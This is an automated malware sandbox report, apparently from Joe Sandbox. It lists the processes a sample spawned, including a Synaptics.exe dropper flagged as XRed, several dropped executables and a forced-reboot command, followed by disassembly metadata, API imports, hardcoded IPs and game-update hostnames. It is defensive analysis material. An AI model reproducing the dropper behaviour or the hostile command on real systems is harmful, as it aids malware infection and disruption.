Yara matches:	Rule: MALWARE_Win_Meteorite, Description: Detects Meteorite downloader, Source: 00000003.00000003.1718137982.00000000020C4000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 100%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	14:34:50
Start date:	02/01/2025
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Imagebase:	0x200000
File size:	53'161'064 bytes
MD5 hash:	4A871771235598812032C822E6F68F19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	14:34:53
Start date:	02/01/2025
Path:	C:\Program Files (x86)\2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\2.exe" 0
Imagebase:	0x400000
File size:	4'645'376 bytes
MD5 hash:	85A57509DB3E9DFA7B4E451B8243220D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\Program Files (x86)\2.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Program Files (x86)\2.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 89%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	14:34:54
Start date:	02/01/2025
Path:	C:\Program Files (x86)\3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\3.exe" 0
Imagebase:	0x400000
File size:	9'872 bytes
MD5 hash:	1EDB88F9EE745EAAEE2CBD8219318EB0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 87%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	14:34:54
Start date:	02/01/2025
Path:	C:\Users\user\Desktop\._cache_2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\._cache_2.exe" 0
Imagebase:	0xdc0000
File size:	3'873'864 bytes
MD5 hash:	B7176450AEBB9572B34E875984456AC1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 12%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	14:34:55
Start date:	02/01/2025
Path:	C:\Program Files (x86)\4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\4.exe" 0
Imagebase:	0xd20000
File size:	346'414 bytes
MD5 hash:	39E7BE73C7531AC895F75834FDC1BCD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 68%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	14:34:58
Start date:	02/01/2025
Path:	C:\Windows\wic.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\wic.exe" 0
Imagebase:	0xe80000
File size:	3'483'648 bytes
MD5 hash:	6AD65B03E75BC5509BA3104510178EE6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 39%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	14:35:01
Start date:	02/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "shutdown /r /t 0"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	14:35:01
Start date:	02/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	14:35:01
Start date:	02/01/2025
Path:	C:\Windows\SysWOW64\shutdown.exe
Wow64 process (32bit):	true
Commandline:	shutdown /r /t 0
Imagebase:	0x7b0000
File size:	23'552 bytes
MD5 hash:	FCDE5AF99B82AE6137FB90C7571D40C3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	14:35:10
Start date:	02/01/2025
Path:	C:\Windows\cbas.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\cbas.exe"
Imagebase:	0xba0000
File size:	295'424 bytes
MD5 hash:	9FD7C0ACC95C7F1311BDE279D0B6A03A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	14:36:53
Start date:	02/01/2025
Path:	C:\Windows\splwow64.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\splwow64.exe 12288
Imagebase:	0x7ff7ac4b0000
File size:	163'840 bytes
MD5 hash:	77DE7761B037061C7C112FD3C5B91E73
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	11.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	88.9%
Total number of Nodes:	9
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00406A20 Relevance: 7.7, APIs: 5, Instructions: 169
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1800946068.0000000000406000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1800868441.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800902274.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800902274.0000000000404000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1801134772.0000000000407000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c670921fd43a50f4f938f6497018f61f5041d96101fcf9cdeb10b233845e411
Instruction ID: e6479a30e75d821938ea7dde79ac789c0e19f40ad4ec2d1cc88672ce5a0d7957
Opcode Fuzzy Hash: 5c670921fd43a50f4f938f6497018f61f5041d96101fcf9cdeb10b233845e411
Instruction Fuzzy Hash: 33511A717402524BD7206EB88C806A177A4EB43334B1A473ED5E7F73C5E7BC68268B68

Function 0040106C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

6CF6AC91.MSVBVM60(VB5!6&*), ref: 00401071

Strings

VB5!6&*, xrefs: 0040106C

Memory Dump Source

Source File: 00000000.00000002.1800902274.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1800868441.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800902274.0000000000404000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800946068.0000000000406000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1801134772.0000000000407000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: VB5!6&*
API String ID: 0-3593831657
Opcode ID: 0d679d7b5848a2acb40e1ea1edcc93dab6ddb27ce25793bf670446894b227192
Instruction ID: 18f867a201762634ffe404bcbec6099778bc674ab8fe3e8a06483c959477a87b
Opcode Fuzzy Hash: 0d679d7b5848a2acb40e1ea1edcc93dab6ddb27ce25793bf670446894b227192
Instruction Fuzzy Hash: EAD04E2108E7C68EC307077088209803FB48C1321030B02E3C1C8DE8B3C26D084DC723

Analysis Process: ._cache_1.exePID: 3236, Parent PID: 1344COMMON

Execution Graph

Execution Coverage:	2.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	32.5%
Total number of Nodes:	1459
Total number of Limit Nodes:	7

Executed Functions

Function 0040A8F0 Relevance: 324.1, APIs: 100, Strings: 84, Instructions: 2087stringwindowsleepCOMMON

Download Yara Rule

APIs

_strcmpi.MSVCRT ref: 0040A91A
_snprintf.MSVCRT ref: 0040A944
GetDesktopWindow.USER32 ref: 0040A95C
MessageBoxA.USER32(00000000), ref: 0040A95F
_strcmpi.MSVCRT ref: 0040A96D
time.MSVCRT(00000000,?), ref: 0040A992
srand.MSVCRT ref: 0040A999
GetACP.KERNEL32 ref: 0040A9A2
rand.MSVCRT ref: 0040A9DD
GetDesktopWindow.USER32 ref: 0040ABE9
MessageBoxA.USER32(00000000), ref: 0040ABEC
Sleep.KERNELBASE(00000005), ref: 0040ABFD
_strcmpi.MSVCRT ref: 0040AC34
_strcmpi.MSVCRT ref: 0040AC5D
_strcmpi.MSVCRT ref: 0040AC86
_strcmpi.MSVCRT ref: 0040AE28
strstr.MSVCRT ref: 0040AE46
strcspn.MSVCRT ref: 0040AE58
strncpy.MSVCRT ref: 0040AE6E
strstr.MSVCRT ref: 0040AE85
atoi.MSVCRT(-00000004), ref: 0040AE92
_strnicmp.MSVCRT ref: 0040AEBE
strstr.MSVCRT ref: 0040AED3
strcspn.MSVCRT ref: 0040AEE9
strncpy.MSVCRT ref: 0040AF03
strstr.MSVCRT ref: 0040AF16
atoi.MSVCRT(-00000004), ref: 0040AF27
_strcmpi.MSVCRT ref: 0040AF4C
atoi.MSVCRT(?), ref: 0040AF8B
rand.MSVCRT ref: 0040B56B
rand.MSVCRT ref: 0040B6D0
rand.MSVCRT ref: 0040B746
rand.MSVCRT ref: 0040B7B9
_strcmpi.MSVCRT ref: 0040B813
MessageBoxA.USER32(00000000,?,0041BA48,00000010), ref: 0040B889
WSACleanup.WS2_32 ref: 0040B88F
74A4E3D0.COMCTL32 ref: 0040B8A3
remove.MSVCRT ref: 0040B8CB
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000004,80000080,00000000), ref: 0040B8EE
DialogBoxParamA.USER32(?,00000067,00000000,00408AB0,00000000), ref: 0040B946
Sleep.KERNEL32(000001F4), ref: 0040B96E
WSACleanup.WS2_32 ref: 0040B979
CloseHandle.KERNEL32(?), ref: 0040B9C7
_open.MSVCRT ref: 0040BB5E
_filelength.MSVCRT ref: 0040BB73
_lseek.MSVCRT ref: 0040BB81
_read.MSVCRT ref: 0040BB8F
MessageBoxA.USER32(00000000,0041C1B8,0041C1F8,00000001), ref: 0040BBBF
_close.MSVCRT ref: 0040BBC4
MessageBoxA.USER32(00000000, Hacking tool detecting program invalid. Continue? ,WARNING,00000001), ref: 0040BBE1
_close.MSVCRT ref: 0040BBE6
_close.MSVCRT ref: 0040BBF8
MessageBoxA.USER32(00000000, Can NOT find The Hacking tool detecting program!,WARNING,00000000), ref: 0040BC2F
_spawnl.MSVCRT ref: 0040BC5C
MessageBoxA.USER32(00000000, Can't connetc nProtect Server. Continue? ,WARNING,00000001), ref: 0040BCBB
DialogBoxParamA.USER32(?,00000070,00000000,00409AC0,00000000), ref: 0040BD48
DialogBoxParamA.USER32(?,00000070,00000000,00409AC0,00000000), ref: 0040BD58
sprintf.MSVCRT ref: 0040BDE4
sprintf.MSVCRT ref: 0040BE53
sprintf.MSVCRT ref: 0040BEC7
sprintf.MSVCRT ref: 0040BF73
sprintf.MSVCRT ref: 0040BFD3
sprintf.MSVCRT ref: 0040BFF2
sprintf.MSVCRT ref: 0040C020
sprintf.MSVCRT ref: 0040C040
remove.MSVCRT ref: 0040C262
MessageBoxA.USER32(00000000,Can't execute lin.bin,0041BA48,00000000), ref: 0040C302

Strings

list-h-c.txt, xrefs: 0040BA93
list-e-e.txt, xrefs: 0040BA2F
Lineage, xrefs: 0040A956
/EGPARAM:, xrefs: 0040AFA5
203.240.193.27, xrefs: 0040B809
/kornet %s %s %s %s %d, xrefs: 0040BE4D
list-c-e.txt, xrefs: 0040BA06
kornet, xrefs: 0040B0C4, 0040BDF2
FindHack.exe, xrefs: 0040BB37
/host:, xrefs: 0040B150
210.122.63.89, xrefs: 0040AFD6
arguments, xrefs: 0040B988
/u %d, xrefs: 0040C01A
/japan, xrefs: 0040ACE8
list-h-e.txt, xrefs: 0040BA9A
210.208.82.10, xrefs: 0040AAB0, 0040B64A
list-j-j.txt, xrefs: 0040BAB2
This option is allowed only after successful auto-update. Otherwise, client can crash due to lack of some resource., xrefs: 0040ABDC, 0040ABE8
Hacking tool detecting program invalid. Continue? , xrefs: 0040BBDA
build number = %d, xrefs: 0040B905
hitel, xrefs: 0040B1B0, 0040BED5
list-c.txt, xrefs: 0040BA20
TWupdate.lineage.com.tw, xrefs: 0040AA7F, 0040B619
gt0, xrefs: 0040B324
hanaro, xrefs: 0040B20D
/hongkong, xrefs: 0040ACC2
list-c-k.txt, xrefs: 0040B9FF
list-t-k.txt, xrefs: 0040BA46, 0040BADF
mihosoft, xrefs: 0040B1C3
/lgi, xrefs: 0040AFC7
/portno:, xrefs: 0040B18A
moya, xrefs: 0040B4A2
/KWG, xrefs: 0040B090
ktestupd.ncsoft.co.kr, xrefs: 0040B6AB
/ver, xrefs: 0040A907
Fail in Removing. Continue? , xrefs: 0040BC89
/shinbiro, xrefs: 0040AF46
gamegw.dreamx.net, xrefs: 0040B0F7
/dreamx %s %s %s %s %s %d, xrefs: 0040BEC1
pcbang, xrefs: 0040B26A
&IP:, xrefs: 0040AE40, 0040AECD
/us, xrefs: 0040AC2E
HKupdate.lineage.com.hk, xrefs: 0040B721
game.kornetworld.com, xrefs: 0040B0A4
usmainupd2.lineageTheBloodPledge.com, xrefs: 0040AA05, 0040AA61, 0040AAC2, 0040AB20, 0040AB8A, 0040B593, 0040B5FA, 0040B65C, 0040B6F8, 0040B76E, 0040B7D4
/korean, xrefs: 0040AC80
You can't connect Japanese server not using Japanese OS, xrefs: 0040BAC0
/gt0, xrefs: 0040B2DA
/unitel, xrefs: 0040AE22
excite, xrefs: 0040AFB4, 0040BF27
/excite %s, xrefs: 0040BF69
list-c-c.txt, xrefs: 0040B9F1
/shinbiro %s %d, xrefs: 0040BFC9
/s %d, xrefs: 0040BDDE, 0040C126, 0040C149
list-k-k.txt, xrefs: 0040BA5C, 0040BAF2
jpnupdate.ncsoft.co.kr, xrefs: 0040AAE0, 0040B794
shinbiro, xrefs: 0040AF61, 0040BF81
Warning, xrefs: 0040ABE3
chollian, xrefs: 0040B493
kmainupd.ncsoft.co.kr, xrefs: 0040A9B8, 0040AB3D, 0040B546
/hitel, xrefs: 0040B136
version: %d, xrefs: 0040A939
/%s %d, xrefs: 0040BFEC
dreamx, xrefs: 0040B117, 0040BE61
/test, xrefs: 0040ACA1
usmainupd1.lineageTheBloodpledge.com, xrefs: 0040AA1E, 0040B5B7
/hitel %s %d, xrefs: 0040BF1D
Can NOT find The Hacking tool detecting program!, xrefs: 0040BC22
Can't connetc nProtect Server. Continue? , xrefs: 0040BCB4
WARNING, xrefs: 0040BABB, 0040BBD5, 0040BC1D, 0040BC84, 0040BCAF
&PO:, xrefs: 0040AE78, 0040AF09
tvnet, xrefs: 0040B2C7
list-k-e.txt, xrefs: 0040BA63, 0040BAF9
unitel, xrefs: 0040AEA1, 0040AEB8
list-k.txt, xrefs: 0040BB0F
Can't execute lin.bin, xrefs: 0040C2FB
%s, xrefs: 0040B9AD
/taiwan, xrefs: 0040AC57
usmainupd2.lineageTheBloodPledge.com, xrefs: 0040AA4F, 0040B5E8
/tvnet, xrefs: 0040B27D
/pcbang, xrefs: 0040B220
~!@#%^$<, xrefs: 0040AD68
/DLX, xrefs: 0040B0E3
/noupdate, xrefs: 0040A967

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: Message_strcmpisprintf$rand$strstr$DialogParam_closeatoi$CleanupDesktopSleepWindowremovestrcspnstrncpy$CloseCreateFileHandle_filelength_lseek_open_read_snprintf_spawnl_strnicmpsrandtime
String ID: Can NOT find The Hacking tool detecting program!$ Can't connetc nProtect Server. Continue? $ Fail in Removing. Continue? $ Hacking tool detecting program invalid. Continue? $%s$&IP:$&PO:$/%s %d$/DLX$/EGPARAM:$/KWG$/dreamx %s %s %s %s %s %d$/excite %s$/gt0$/hitel$/hitel %s %d$/hongkong$/host:$/japan$/korean$/kornet %s %s %s %s %d$/lgi$/noupdate$/pcbang$/portno:$/s %d$/shinbiro$/shinbiro %s %d$/taiwan$/test$/tvnet$/u %d$/unitel$/us$/ver$203.240.193.27$210.122.63.89$210.208.82.10$Can't execute lin.bin$FindHack.exe$HKupdate.lineage.com.hk$Lineage$TWupdate.lineage.com.tw$This option is allowed only after successful auto-update. Otherwise, client can crash due to lack of some resource.$WARNING$Warning$You can't connect Japanese server not using Japanese OS$arguments$build number = %d$chollian$dreamx$excite$game.kornetworld.com$gamegw.dreamx.net$gt0$hanaro$hitel$jpnupdate.ncsoft.co.kr$kmainupd.ncsoft.co.kr$kornet$ktestupd.ncsoft.co.kr$list-c-c.txt$list-c-e.txt$list-c-k.txt$list-c.txt$list-e-e.txt$list-h-c.txt$list-h-e.txt$list-j-j.txt$list-k-e.txt$list-k-k.txt$list-k.txt$list-t-k.txt$mihosoft$moya$pcbang$shinbiro$tvnet$unitel$usmainupd1.lineageTheBloodpledge.com$usmainupd2.lineageTheBloodPledge.com$usmainupd2.lineageTheBloodPledge.com$version: %d$~!@#%^$<
API String ID: 3856140011-1949667635
Opcode ID: d3e96e0fc2febfee422ba0f090af65c4589cf60741703a6fefff8c70eb62552e
Instruction ID: 1b4da73cbde776bda2e2ca1fe44aef3ff0f9507ae5b5eb5e8a7ba1db820c9719
Opcode Fuzzy Hash: d3e96e0fc2febfee422ba0f090af65c4589cf60741703a6fefff8c70eb62552e
Instruction Fuzzy Hash: ACE24431B442005BD7248B34AC917AB3B91EB85714F68823AFD5AA33D0DBBD8D45C79E

Function 0040A2B0 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 174
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNELBASE(?,?,usmainupd2.lineageTheBloodPledge.com,?,75C09CE0,?), ref: 0040A325
FileTimeToSystemTime.KERNEL32(?,?), ref: 0040A36D
realloc.MSVCRT ref: 0040A3B3
FindNextFileA.KERNEL32(00000000,00000010), ref: 0040A410
FindClose.KERNEL32(00000000), ref: 0040A41F
qsort.MSVCRT ref: 0040A439
SetFileAttributesA.KERNEL32(?,00000080), ref: 0040A481
DeleteFileA.KERNEL32(?), ref: 0040A48B
SetFileAttributesA.KERNEL32(00000004,00000080), ref: 0040A4AC
DeleteFileA.KERNEL32(00000004), ref: 0040A4AF
free.MSVCRT ref: 0040A4BC

Strings

usmainupd2.lineageTheBloodPledge.com, xrefs: 0040A2B9
*.inv, xrefs: 0040A2D8, 0040A2E8

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: File$Find$AttributesDeleteTime$CloseFirstNextSystemfreeqsortrealloc
String ID: *.inv$usmainupd2.lineageTheBloodPledge.com
API String ID: 2622774032-2206764970
Opcode ID: b78d0a169d7eafec927e235ca9a9ce9b1bdf3d8a850a9ad878ecac7cfaec6eee
Instruction ID: 8ab419ae5727e00dd76f338a30fd8a6bc54a0b4cfab288e086b4cc70d109a9d6
Opcode Fuzzy Hash: b78d0a169d7eafec927e235ca9a9ce9b1bdf3d8a850a9ad878ecac7cfaec6eee
Instruction Fuzzy Hash: C251F3325043098BC720DF24DC44AAB77E5EFC4304F058A3DF985A72C1DBB9A919879A

Function 0040F5BF Relevance: 16.6, APIs: 11, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__set_app_type.MSVCRT ref: 0040F5EC
__p__fmode.MSVCRT ref: 0040F601
__p__commode.MSVCRT ref: 0040F60F
__setusermatherr.MSVCRT ref: 0040F63B
_initterm.MSVCRT ref: 0040F651
__getmainargs.MSVCRT ref: 0040F674
_initterm.MSVCRT ref: 0040F684
GetStartupInfoA.KERNEL32(?), ref: 0040F6C3
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 0040F6E7
exit.KERNELBASE ref: 0040F6F7
_XcptFilter.MSVCRT ref: 0040F709

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
String ID:
API String ID: 801014965-0
Opcode ID: 5f72495c9dae707c1da66b513ded7e60af9e7f4282601f0d019affc9f2d51eb4
Instruction ID: cb1fc2d8bcd256223089e0405016f49992857ef66b05239ed091da7765e7311b
Opcode Fuzzy Hash: 5f72495c9dae707c1da66b513ded7e60af9e7f4282601f0d019affc9f2d51eb4
Instruction Fuzzy Hash: 17419D75940348AFCB30DFA4D885AAABBB8EB09710F20453FE441A76A1C7795886CB59

Function 0040A770 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 26
windownetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32(00000202,?), ref: 0040A783
GetLastError.KERNEL32 ref: 0040A78D
sprintf.MSVCRT ref: 0040A79E
MessageBoxA.USER32(00000000,?,0041BA48,00000010), ref: 0040A7B5

Strings

WSAStartup failed: %ld, xrefs: 0040A798

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: ErrorLastMessageStartupsprintf
String ID: WSAStartup failed: %ld
API String ID: 4232245815-1891744279
Opcode ID: f716aecf9be1a0daf5fee8d79ffac98e727cf8a3bca7afea556da6d1d4d7d82d
Instruction ID: f23a5ddfae2a665b835093c41cecaf45c4df1a98dacf58dd3f1acf0644010798
Opcode Fuzzy Hash: f716aecf9be1a0daf5fee8d79ffac98e727cf8a3bca7afea556da6d1d4d7d82d
Instruction Fuzzy Hash: 35E09B715803047BD7509760EC4EFEA3768BB54B01F848829B505C11D1E7FD419887AA

Function 00402420 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(?,C:\Users\user\Desktop\,00000104,759B6A90,?,0040A990,?), ref: 00402431
CharNextA.USER32(C:\Users\user\Desktop\), ref: 00402450

Strings

C:\Users\user\Desktop\, xrefs: 0040242B, 00402437, 0040243D, 0040244F

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: CharFileModuleNameNext
String ID: C:\Users\user\Desktop\
API String ID: 3311180430-1996831427
Opcode ID: d1eee4875d7191ed5687d7a02dd0e5ed05f9fdb4d08bc019ec87a40e7b153047
Instruction ID: 74eb1d84806718cc772bceb7f0d1f511844d2cb957509e3ddb653c81c84e5933
Opcode Fuzzy Hash: d1eee4875d7191ed5687d7a02dd0e5ed05f9fdb4d08bc019ec87a40e7b153047
Instruction Fuzzy Hash: A0F0A0627822606EE7311678B9087D67FE44B663A2F1C0077E6C4A32D2C2BC488493AD

Function 00402500 Relevance: 1.5, APIs: 1, Instructions: 16
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_open.MSVCRT ref: 0040252D

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: _open
String ID:
API String ID: 4183159743-0
Opcode ID: b38ecbca1aea726d295cc30956eb8dec0055a0c9bdaba2af4d99bbe62abef648
Instruction ID: df76e1a0bad9b822b6f36983da20bf7eb730ab311d27616ffaab059f5299df03
Opcode Fuzzy Hash: b38ecbca1aea726d295cc30956eb8dec0055a0c9bdaba2af4d99bbe62abef648
Instruction Fuzzy Hash: EBD012B44042406FD328DB14D946DFB73A8AB84304F44891CB59882150DA79D958C6A6

Non-executed Functions

Function 004084A0 Relevance: 73.9, APIs: 24, Strings: 18, Instructions: 413
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAGetLastError.WS2_32 ref: 004084A0
EndDialog.USER32(?,000000FF), ref: 00408516
inet_addr.WS2_32 ref: 004086E0
gethostbyname.WS2_32 ref: 004086F5
rand.MSVCRT ref: 00408719
inet_addr.WS2_32(63.104.49.23), ref: 0040875A
htons.WS2_32(B91C07D3), ref: 0040876B
connect.WS2_32(?,00000002,00000010), ref: 00408784
WSAGetLastError.WS2_32 ref: 00408793
closesocket.WS2_32(?), ref: 00408523

Part of subcall function 00408A10: wvsprintfA.USER32(?,?,?), ref: 00408A28
Part of subcall function 00408A10: lstrlen.KERNEL32(?,00000000,00000000), ref: 00408A3A
Part of subcall function 00408A10: WriteFile.KERNEL32(?,?,00000000), ref: 00408A4E

inet_ntoa.WS2_32(?), ref: 00408600
closesocket.WS2_32(?), ref: 00408636
socket.WS2_32(00000002,00000001), ref: 00408643
bind.WS2_32(?,?,00000010), ref: 0040868D
EndDialog.USER32(?,000000FF), ref: 004086AE
closesocket.WS2_32(?), ref: 004086BB
inet_ntoa.WS2_32(?), ref: 00408886
EndDialog.USER32(?,000000FF), ref: 004088C2
closesocket.WS2_32(?), ref: 004088CE
htonl.WSOCK32(00000000), ref: 0040891D
htonl.WSOCK32(00000000), ref: 00408988
